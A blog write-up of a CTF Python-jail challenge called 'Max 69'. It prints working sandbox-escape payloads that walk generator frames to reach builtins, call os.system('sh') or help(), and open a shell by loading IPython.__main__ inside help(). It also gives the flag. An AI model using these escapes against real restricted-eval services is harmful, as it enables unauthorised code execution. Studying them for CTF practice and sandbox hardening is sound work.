Lillie

Max 69

English: This challenge is not for the faint of heart! 
Show that you are a python whisperer! 
Feel free to chuckle every time you see a funny number.
inp = input('Gimme max 69!\n> ')
if not inp.isascii():
    quit('Give me ascii please')
if '__' in inp:
    quit('No thank you')
if len(inp) > 69:
    quit("Don't give me more than your favourite number")

eval(inp, {'__builtins__':{}}, {'__builtins__':{}})

First thoughts

This is a part 2 of Max 420, but now we have to get it to 69 characters.

Previous solution used was

(y:=[],y.append(z.gi_frame.f_back.f_back.f_builtins[f"{'_'}_import{'_'}_"]("os") for z in y), *[*y[0]][0].system("sh"))

which is 119 characters.

help function is often used to get RCE.

(y:=[],y.append(z.gi_frame.f_back.f_back.f_builtins["help"]() for z in y), *[*y[0]])

but changing to call help we get down to 89

Doing research

So I spent time trying to find out what others have done as I couldn’t get it shorter. I went into a rabbit hole of trying to understand the scope.

I won’t go so much into details, but I realised the challenge had a “bug”

specific in

eval(inp, {'__builtins__':{}}, {'__builtins__':{}})

correct to limit builtins would be

eval(inp, {'__builtins__':{}}, None)

as it really is

eval(inp, globals={'__builtins__':{}}, locals=None)

After time I got this working when I changed locals to None

(q:=(q.gi_frame.f_back.f_back.f_builtins['help']()for _ in[0]),[*q])

but it does not work with the challenge as local scope is not working properly, so the generator can’t access the q variable when it’s running.

I assume this is the point most players would be stuck at.

Finding the first solution

This section might hurt a bit to people who have spent a lot of time.

I spent a lot of time trying to find a solution and I found this archived challenge “Completely new challenge” on https://imaginaryctf.org/ArchivedChallenges/58

looking at attachment finds us this

assert ascii(x := input())[1:-1] != x.replace("__","")[:97], eval(x,{'__builtins__':{}},{'__builtins__':{}})

where it uses eval in same way and also does not allow __ and

So i decided to join imaginary ctf discord to see if any more discussion happened.

I searched builtins and found the channel and there were discussion of getting a shorter payload

1in(g:=((g:=g.gi_frame.f_back.f_back.f_builtins)["exec"](g["input"]())for _ in[1]))

and this seems to be shortest with 83 and changing it to call help and remove unused brackets, shortens it to 69.

1in(g:=(g:=g.gi_frame.f_back.f_back.f_builtins["help"]()for _ in[1]))

It works!

How to get shell with help?

Next part is written as a draft, but added as time is running out.
Will update writeup when I get time.

But now is the other part of the challenge how do we get shell in help()?

Usually this can be done with less/more, but Docker is using socat. So less/more is not used (I believe this is the reason why)

So I spend time trying to see if anything changes when I load in new modules and try to run chal again, but nothing.

So I go around searching through other modules if I can get any info.

Then I try out sage because I saw it was installed from before, and yes it’s there in the help documentation. I was peeking around and wondering why!

After messing around I see a path to /usr/bin/python3.13/site-packges/sage I started wondering if I could see all site-packges. So I enter in site-packages and that’s possible. I try out a bit more to see if any of them might spawn a shell.

I try out Jedi because why not, and then I see a __main__ as part of Jedi.

So I type into help

jedi.__main__

And there I got kicked out of nc!

Looks like it errored trying to load the file? I see in docker log and it seems to miss something trying to import.

Could this be a way to get shell?

I open up a local shell to my docker instance and cd to site-packages path and run

find . -type f -name "__main__.py"
./sage/doctest/__main__.py
./sage/repl/ipython_kernel/__main__.py
./jedi/__main__.py
./jedi/inference/compiled/subprocess/__main__.py
./pygments/__main__.py
./IPython/__main__.py
./docutils/__main__.py
./numpy/f2py/__main__.py
./platformdirs/__main__.py
./jupyter_core/__main__.py
./zmq/log/__main__.py
./tornado/test/__main__.py
./ipykernel/__main__.py
./fontTools/__main__.py
./fontTools/cu2qu/__main__.py
./fontTools/designspaceLib/__main__.py
./fontTools/feaLib/__main__.py
./fontTools/merge/__main__.py
./fontTools/mtiLib/__main__.py
./fontTools/otlLib/optimize/__main__.py
./fontTools/qu2cu/__main__.py
./fontTools/subset/__main__.py
./fontTools/ttLib/__main__.py
./fontTools/varLib/__main__.py
./fontTools/varLib/instancer/__main__.py
./PIL/__main__.py
./charset_normalizer/__main__.py
./charset_normalizer/cli/__main__.py
./sphinx/__main__.py
./sphinx/ext/intersphinx/__main__.p

and I get this entire list.

From context, it seems like they are files for CLI!

I first tried out the ipython kernel and I got a bit stuck there, nothing useful. Then I saw IPython and tried that one, and that gave me a shell!

IPython.__main__

Flag

DDC{w4lK_Th4t_Fr4m3_bUt_h3lP_I_F0rG0t_t0_ch3ck__name__}
Max 69
: LillieFox
https://lillie.sh/blog/misc/max-69/
© 2025 LillieFox . All rights reserved.